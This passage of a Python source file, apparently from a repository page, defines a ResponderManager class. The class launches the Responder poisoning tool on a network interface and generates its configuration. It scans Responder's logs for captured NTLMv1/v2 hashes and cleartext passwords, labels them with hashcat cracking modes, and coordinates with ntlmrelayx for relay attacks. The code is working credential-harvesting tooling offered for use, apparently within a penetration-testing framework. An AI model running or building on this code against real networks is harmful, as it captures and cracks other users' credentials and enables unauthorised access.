self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ResponderManager started (ready to launch Responder)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.stop_responder()
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ResponderManager stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"responder_running": proc_alive,
|
||||
"responder_pid": self._proc.pid if proc_alive else None,
|
||||
"captured_hash_count": len(self._captured_hashes),
|
||||
"interface": self._iface,
|
||||
"relay_targets": list(self._relay_targets),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "interface" in config:
|
||||
self._iface = config["interface"]
|
||||
if "relay_targets" in config:
|
||||
self._relay_targets = set(config["relay_targets"])
|
||||
if "protocols" in config:
|
||||
self._protocols.update(config["protocols"])
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_responder(self, protocols: dict = None) -> bool:
|
||||
"""Start Responder with configured protocols.
|
||||
|
||||
Args:
|
||||
protocols: Optional dict overriding default protocol toggles.
|
||||
|
||||
Returns:
|
||||
True if Responder was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("ResponderManager not started")
|
||||
return False
|
||||
|
||||
if self._proc and self._proc.poll() is None:
|
||||
logger.warning("Responder already running (pid=%d)", self._proc.pid)
|
||||
return True
|
||||
|
||||
if protocols:
|
||||
self._protocols.update(protocols)
|
||||
|
||||
# Generate Responder.conf from template
|
||||
self._write_responder_conf()
|
||||
|
||||
# Build command
|
||||
responder_py = os.path.join(self._responder_path, "Responder.py")
|
||||
if not os.path.isfile(responder_py):
|
||||
logger.error("Responder.py not found at %s", responder_py)
|
||||
return False
|
||||
|
||||
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
|
||||
|
||||
# Add protocol flags based on what we want DISABLED
|
||||
if not self._protocols.get("WPAD"):
|
||||
cmd.append("-w") # -w disables WPAD in newer Responder versions
|
||||
# Responder's flags are for disabling features, not enabling them
|
||||
# The .conf file controls which services are On/Off
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
cwd=self._responder_path,
|
||||
)
|
||||
time.sleep(2)
|
||||
if self._proc.poll() is not None:
|
||||
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||
logger.error("Responder failed to start: %s", stderr)
|
||||
return False
|
||||
|
||||
# Start hash file monitoring thread
|
||||
self._hash_thread = threading.Thread(
|
||||
target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
|
||||
)
|
||||
self._hash_thread.start()
|
||||
|
||||
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to start Responder")
|
||||
return False
|
||||
|
||||
def stop_responder(self) -> bool:
|
||||
"""Stop the Responder subprocess.
|
||||
|
||||
Returns:
|
||||
True if Responder was stopped.
|
||||
"""
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
self._proc.terminate()
|
||||
self._proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._proc.kill()
|
||||
try:
|
||||
self._proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop Responder")
|
||||
return False
|
||||
finally:
|
||||
self._proc = None
|
||||
|
||||
logger.info("Responder stopped")
|
||||
return True
|
||||
|
||||
def get_captured_hashes(self) -> list:
|
||||
"""Return all captured hashes.
|
||||
|
||||
Returns:
|
||||
List of dicts with hash details.
|
||||
"""
|
||||
with self._hashes_lock:
|
||||
return list(self._captured_hashes)
|
||||
|
||||
def set_relay_targets(self, targets: set) -> None:
|
||||
"""Set IPs that should be excluded from Responder's SMB server.
|
||||
|
||||
When coordinating with ntlm_relay, Responder should not respond
|
||||
to targets that ntlmrelayx is relaying from.
|
||||
|
||||
Args:
|
||||
targets: Set of IP addresses to exclude.
|
||||
"""
|
||||
self._relay_targets = set(targets)
|
||||
# Regenerate config and restart if running
|
||||
if self._proc and self._proc.poll() is None:
|
||||
self._write_responder_conf()
|
||||
logger.info("Updated relay exclusion targets: %s", targets)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Responder.conf generation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_responder_conf(self) -> None:
|
||||
"""Generate Responder.conf from template or defaults."""
|
||||
conf_path = os.path.join(self._responder_path, "Responder.conf")
|
||||
|
||||
# Try Jinja2 template first
|
||||
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
|
||||
if os.path.isfile(template_path):
|
||||
try:
|
||||
from jinja2 import Environment, BaseLoader
|
||||
with open(template_path, "r") as f:
|
||||
template_content = f.read()
|
||||
env = Environment(loader=BaseLoader(), autoescape=True)
|
||||
tmpl = env.from_string(template_content)
|
||||
rendered = tmpl.render(
|
||||
protocols=self._protocols,
|
||||
relay_targets=[str(ip) for ip in self._relay_targets],
|
||||
interface=self._iface,
|
||||
)
|
||||
with open(conf_path, "w") as f:
|
||||
f.write(rendered)
|
||||
return
|
||||
except ImportError:
|
||||
logger.warning("Jinja2 not available — using inline config")
|
||||
except Exception:
|
||||
logger.exception("Failed to render Responder.conf template")
|
||||
|
||||
# Fallback: write config directly
|
||||
smb_on = "On" if self._protocols.get("SMB") else "Off"
|
||||
http_on = "On" if self._protocols.get("HTTP") else "Off"
|
||||
|
||||
conf = (
|
||||
"[Responder Core]\n\n"
|
||||
"; Servers to start\n"
|
||||
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
|
||||
f"SMB = {smb_on}\n"
|
||||
f"RDP = Off\n"
|
||||
f"Kerberos = Off\n"
|
||||
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
|
||||
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
|
||||
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
|
||||
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
|
||||
f"HTTP = {http_on}\n"
|
||||
f"HTTPS = {http_on}\n"
|
||||
f"DNS = Off\n"
|
||||
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
|
||||
f"DCERPC = Off\n"
|
||||
f"WinRM = Off\n"
|
||||
f"SNMP = Off\n"
|
||||
f"MQTT = Off\n"
|
||||
"\n"
|
||||
"; Custom challenge\n"
|
||||
"Challenge = Random\n"
|
||||
"\n"
|
||||
"; Set to On for downgrading to NTLMv1\n"
|
||||
"DontRespondToNames =\n"
|
||||
"\n"
|
||||
)
|
||||
|
||||
with open(conf_path, "w") as f:
|
||||
f.write(conf)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Hash capture monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _hash_monitor_loop(self) -> None:
|
||||
"""Monitor Responder log directory for new hash files."""
|
||||
while self._running and self._proc and self._proc.poll() is None:
|
||||
time.sleep(self.HASH_POLL_INTERVAL)
|
||||
try:
|
||||
self._scan_hash_files()
|
||||
self._scan_session_log()
|
||||
except Exception:
|
||||
logger.exception("Hash monitor error")
|
||||
|
||||
def _scan_hash_files(self) -> None:
|
||||
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
|
||||
if not os.path.isdir(self._log_dir):
|
||||
return
|
||||
|
||||
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
|
||||
try:
|
||||
with open(filepath, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line in self._seen_hashes:
|
||||
continue
|
||||
self._seen_hashes.add(line)
|
||||
self._process_hash_line(line, filepath)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _scan_session_log(self) -> None:
|
||||
"""Scan Responder-Session.log for cleartext credentials."""
|
||||
session_log = os.path.join(self._log_dir, "Responder-Session.log")
|
||||
if not os.path.isfile(session_log):
|
||||
return
|
||||
|
||||
try:
|
||||
with open(session_log, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line in self._seen_hashes:
|
||||
continue
|
||||
# Look for cleartext credential lines
|
||||
if "Cleartext" in line or "Password" in line:
|
||||
self._seen_hashes.add(line)
|
||||
self._process_cleartext_line(line)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _process_hash_line(self, line: str, source_file: str) -> None:
|
||||
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
|
||||
# Determine hash type from filename
|
||||
hash_type = "ntlmv2"
|
||||
hashcat_mode = 5600
|
||||
if "NTLMv1" in source_file:
|
||||
hash_type = "ntlmv1"
|
||||
hashcat_mode = 5500
|
||||
|
||||
# Parse username and domain
|
||||
match = NTLMV2_REGEX.match(line)
|
||||
if not match:
|
||||
match = NTLMV1_REGEX.match(line)
|
||||
if match:
|
||||
username = match.group("username")
|
||||
domain = match.group("domain")
|
||||
else:
|
||||
username = line.split("::")[0] if "::" in line else "unknown"
|
||||
domain = ""
|
||||
|
||||
hash_entry = {
|
||||
"timestamp": time.time(),
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"hash_type": hash_type,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
"hash_value": line,
|
||||
"source_file": source_file,
|
||||
}
|
||||
|
||||
with self._hashes_lock:
|
||||
self._captured_hashes.append(hash_entry)
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source_module": self.name,
|
||||
"source_ip": "",
|
||||
"target_service": "responder",
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"credential_type": hash_type,
|
||||
"credential_value": line,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
})
|
||||
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
|
||||
|
||||
def _process_cleartext_line(self, line: str) -> None:
|
||||
"""Process a cleartext credential line from Responder session log."""
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source_module": self.name,
|
||||
"target_service": "responder_cleartext",
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": line,
|
||||
})
|
||||
Reference in New Issue
Block a user